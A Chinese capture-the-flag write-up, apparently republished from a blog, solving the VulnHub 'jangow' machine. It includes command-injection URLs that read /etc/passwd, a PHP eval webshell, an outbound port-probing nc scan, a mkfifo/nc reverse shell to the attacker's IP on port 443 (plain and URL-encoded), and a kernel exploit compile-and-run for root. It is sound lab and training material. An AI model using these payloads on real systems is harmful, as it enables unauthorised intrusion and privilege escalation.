当前位置: 首页 > article >正文

vulnhub靶场【jangow】靶机,考察反弹shell的流量及端口的选择

前言

靶机:jangow,IP地址为192.168.10.9

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

该靶机目前只剩下一个了,之前记得是有两台构成系列的。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/81340f284dc9

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

网站信息探测

访问80端口网站,发现有目录site,点击后,出现界面,这个界面真挺好看的

查看页面源代码,发现一个php界面,并且参数都有了

使用多款目录爆破工具,使用dirsearch,默认字典,发现隐藏文件,当然这里也可以设置其递归爆破,只是这样速度可能会稍慢

dirsearch -u http://192.168.10.9 -x 403,404 -e js

使用girb进行扫描,默认字典,发现wordpress

打开隐藏文件/backup,发现连接数据库的相关信息

用户名jangow01,密码abygurl69

尝试打开wordpress,发现并非cms,只是目录名称为这个,其内容就是site中的默认界面内容

漏洞利用

测试之前有的php文件,参数已经给出,测试有无注入点,如路径遍历等

这里可以使用ffuf或者burp等其他工具,执行发现一个可用语句

ffuf -c -w /usr/share/wordlists/wfuzz/Injections/All_attack.txt -u http://192.168.10.9/site/busque.php?buscar=FUZZ -fs 1
#-fs 1 是把原本界面大小1,直接过滤掉

http://192.168.10.9/site/busque.php?buscar=%0a/bin/cat%20/etc/passwd

复制这个语句,通过浏览器访问,发现一个用户,也就是前面隐藏文件中的用户名jangow01和密码abygurl69

而且,可以看到这里是通过调用cat来查看的,是否表示这里可以进行命令执行,直接更换为ls,测试发现,成了!

http://192.168.10.9/site/busque.php?buscar=%0a/bin/ls

查看后,发现其代码调用system函数

这里虽然可以进行很多,不过既然给出了ftp,总要用一下,以上面获取的用户名和密码进行登录,如果存在这样的情况。用户名jangow01,密码abygurl69

发现这就是网站的一些文件,可以从这里查看,前面的都差不多发现了,在wordpress处发现一个config.php文件,是连接数据库的

用户名desafio02和密码abygurl69,这里打算再以这个凭证登录的,发现失败

反弹shell

那么回到网站上,尝试通过php文件获取一个反弹shell,不过在构造多条语句无果后,我测试了一下网络连通,发现kali可以连通靶机,但是反过来不行,导致流量无法出来。可能是这个php文件中还有其他的限制等情况

16

这个流量没出去,不过既然命令可执行,就尝试在本地直接写一个php文件,然后再测试

写入是可以的,不过还是不能直接反弹shell,则,再写sh脚本,也是不行,这个肯定是防火墙之类的端口限制了,需要找到某个端口可以进行流量发送的,之前nmap扫描到的2180端口试试

也可能是system的问题,尝试写入一个新的

<?php @eval($_REQUEST['cmd']);?>

在浏览器输入

busque.php?buscar=echo '<?php @eval($_GET['cmd']);?>' > shell.php

webshell

尝试使用蚁剑等工具进行连接,发现成功,说明可以连接,只是进行端口限制,至于是哪个端口,需要进一步验证

也就是这里不仅是端口,还有函数也进行了限制,现在连接蚁剑的虚拟终端,查看flag

测试使用nc进行反弹,发现-e参数无法使用,并且还是端口问题,无法发出流量

尝试使用nc进行测试,也就是在靶机内去连接kali中的一些端口进行测试,因为这里kali是能连通靶机,主要是靶机连接kali的问题

测试端口情况

这里以一些常用端口进行测试,如21,22,23,53,80,111,443等等,当然也可以进行全端口的测试,只是等待时间有点太长了,这毕竟是打靶,知道方法即可

nc -zv -w20 192.168.10.2 21 22 23 25 53 80 110 111 135 139 143 443 445 3389 8080 >>result 2>&1

执行后,查看result,发现有一个端口可能存在连接,因为这里明确说明是拒绝连接,至少说明有流量产生

尝试测试这个端口能否把流量发送到kali,也就是测试能否通过这个端口进行通信

kali使用python开启一个http服务,定位在443端口

测试,确定在443端口是可以的,其他端口使用wget都是无法通信的状态

那么也就是,在靶机内,只要请求的外部资源是443端口的,就可以产生通信,也就是外部返回必须是443端口。

尝试在kali监听443端口,然后在靶机请求kali的443端口

因为之前测试,在蚁剑中是无法调用shnc -e的,那么可以通过写文件脚本,或者利用之前的命令执行链接进行反弹测试

获取反弹shell

比如这里在可访问的网站目录下,创建一个php脚本ff.php,然后在文件写入下面代码,为什么呢,因为测试多个,都没有反应

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.2 443 >/tmp/f');?>

这时候,再通过浏览器访问这个脚本,以触发,即可反弹

或者在之前默认的命令执行处,把上面的反弹shell代码进行一个编码处理,然后通过浏览器传参执行,也是可以的

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.2 443 >/tmp/f

#url编码处理
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%20192.168.10.2%20443%20%3E%2Ftmp%2Ff

提权

获取到第一个flag

使用find寻找具有SUID权限文件,发现sudo,测试发现并不可用

查看靶机内用户,发现和之前查看/etc/passwd一样,只要jangow01,使用su切换后,使用上面的密码abygurl69,登录成功,不过就是执行sudo还是无权,寻找其他方式

查看操作系统信息及内核

使用searchsploit搜索有无内核漏洞,发现几个,不过经过测试,可用的只有这个

查看该文件,其中有用法,以及测试主机

在靶机中使用gcc -v发现可以使用gcc命令,那么通过端口复用,把文件下载到靶机,也就是443端口复用,其余端口进行限制,不过这里还没权限知道规则

编译文件后,给予执行权限,然后直接运行

gcc 45010.c -o exp
chmod +x exp
./exp

切换/root目录,查看最后的文件

使用iptables -L简单看一下拦截情况

总结

该靶机主要考察以下几点:

  1. 对于目录型网站,可能存在隐藏文件,能否爆破出,windowslinux对于隐藏文件的名称是不一样的
  2. 对于连接数据库的文件,能否找到,并看懂
  3. 对于php文件,可能有的传参是具有注入点的,都要进行测试
  4. 对于反弹shell时,发现突然一下不能获取shell,但是浏览器看到一直在执行的话。要知道学会排查,获取一个个测试,直到有成功的。
  5. 考察webshell的使用,这里通过webshell以达到可以写入文件等的便捷操作,并且大部分时候,能够获取webshell会真的方便一些。
  6. 可以借助nc等靶机内有的一些扫描工具进行测试,因为有的从外面扫描是可以的,但是那是进站,对于内网的出站可能又是一个不一样的规则

http://www.kler.cn/a/509344.html

相关文章:

  • Redis 中 TTL 的基本知识与禁用缓存键的实现策略(Java)
  • 前端实习第二个月小结
  • MATLAB基础应用精讲-【优化算法】阿基米德优化算法(附MATLAB代码实现)
  • 前端小案例——网页井字棋
  • 【王树森搜索引擎技术】概要01:搜索引擎的基本概念
  • 【转】厚植根基,同启新程!一文回顾 2024 OpenHarmony 社区年度工作会议精彩瞬间
  • Transformer之Encoder
  • 如何在openEuler中编译安装Apache HTTP Server并设置服务管理(含Systemd和Init脚本)
  • 【Linux】线程全解:概念、操作、互斥与同步机制、线程池实现
  • linux下springboot项目nohup日志或tomcat日志切割处理方案
  • Redis集群部署详解:主从复制、Sentinel哨兵模式与Cluster集群的工作原理与配置
  • leetcode707-设计链表
  • 电脑风扇声音大怎么办? 原因及解决方法
  • github 端口22 超时问题解决
  • AWS物联网连接的数据记录器在冰川环境中的性能比较:Campbell CR1000X与ESP32开源
  • 【react】使用antd Table渲染数据遇到的报错问题
  • 用Cursor生成一个企业官网前端页面(生成腾讯、阿里官网静态页面)
  • redis安装教程(windows)
  • 从零到一:Spring Boot 与 RocketMQ 的完美集成指南
  • 25/1/18 嵌入式笔记 STM32F103
  • Golang——常用库sync
  • QT 使用QSqlTableModel对数据库进行创建,插入,显示
  • github登录用的TOTP和恢复码都丢失了怎么办
  • linux m、mm、mmm函数和make的区别
  • 与“神”对话:Swift 语言在 2025 中的云霓之望
  • Qt的核心机制概述